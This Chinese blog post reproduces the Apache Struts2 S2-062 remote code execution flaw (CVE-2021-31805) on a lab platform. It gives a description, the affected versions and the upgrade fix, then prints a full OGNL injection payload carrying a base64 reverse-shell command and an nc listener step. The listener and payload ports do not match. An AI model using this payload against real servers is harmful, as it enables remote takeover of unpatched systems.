当前位置:网站首页>S2-062 远程命令执行漏洞复现(cve-2021-31805)
S2-062 远程命令执行漏洞复现(cve-2021-31805)
2022-04-23 12:10:00 【MH cloud】
前言
咳咳,这个漏洞吧出来也有几天了,最近一直没时间,今天加个班写一下!
一、漏洞描述
Apache Struts2是一个基于MVC设计模式的流行的Web应用程序框架。
Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。
由于对CVE-2020-17530的修复不完整,在Apache Struts 2.0.0-2.5.29中,如果开发人员使用%{...}语法应用强制OGNL解析,标签的某些属性仍然可被二次解析。当对标签属性中未经验证的原始用户输入进行解析时可能会导致远程代码执行。
二、影响范围
Apache Struts 2.0.0-2.5.29
三、修复建议
目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。
下载链接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
缓解措施:避免对不受信任或未经验证的用户输入使用强制OGNL解析。
四、漏洞复现
复现环境:Vulfocus 漏洞威胁分析平台 在线靶场,这个靶场还是不错的
1.根据漏洞提示访问首页
2.抓包首页
3.构造payload,变更请求方法为post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))
4.把反弹shell的命令base64编码处理并且对其url编码
5. base64 加密
6.URL加密
7. 替换到bp里面
8.准备一台服务器进行监听
nc -vvlp 7777
9.bp点击发送反弹shell
到这里整个漏洞就复现完成了
今天依旧大佬勿喷哈!!
本人理念:菜也要菜的理直气壮!!
MHcloud一个对网络安全充满憧憬的小菜鸡
版权声明
本文为[MH cloud]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_52400001/article/details/124351488
边栏推荐
- 科创人·派拉软件CEO谭翔:零信任本质是数字安全,To B也要深研用户心智
- 智能多线弹性云增加独立的IP地址,如何实现多线功能?
- 力扣-70.爬楼梯
- Metalama简介4.使用Fabric操作项目或命名空间
- Force buckle - 70 climb stairs
- Database design of simple voting system
- Win10 splash screen after startup
- 远程桌面之终端服务器超出了最大允许连接数解决
- Tips for installing MySQL service in windows11: Install / Remove of the Service denied
- Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").
猜你喜欢
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
Worder font page font comparison table
Use kettle to copy records to and get records from results
Outsourcing for five years, abandoned
传统企业如何应对数字化转型?这些书给你答案
How do programmers finalize nucleic acid statistics with 130 lines of code
C set Logo Icon and shortcut icon
消息队列概述
Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
WIN10 启动后花屏
随机推荐
C# F23.StringSimilarity库 字符串重复度、文本相似度、防抄袭
科创人·派拉软件CEO谭翔:零信任本质是数字安全,To B也要深研用户心智
IMEU如何与IMCU相关联(IM 5.5)
Idea database navigator plug-in
抓包整理————tcp 协议[八]
第二十六课 类的静态成员函数
Sofa weekly | excellent Committee of the year, contributor of this week, QA of this week
Win10 splash screen after startup
1.Electron开发环境搭建
A detailed explanation of head pose estimation [collection of good articles]
Castle.DynamicProxy实现事务单元控制
Tensorflow uses keras to create neural networks
The fourth chapter is about enabling and disabling the im column storage of table space for im enabled filling objects (IM 4.5)
ThinkPHP adds image text watermark to generate promotion poster with QR code
IDEA 代码质量规范插件SonarLint
第四章 为IM 启用填充对象之为IM列存储启用ADO(IM 4.8)
异步时钟亚稳态 的解决方案——多bit信号
魔域来了H5游戏详细图文架设教程
传统企业如何应对数字化转型?这些书给你答案
Lesson 24 analysis of classical problems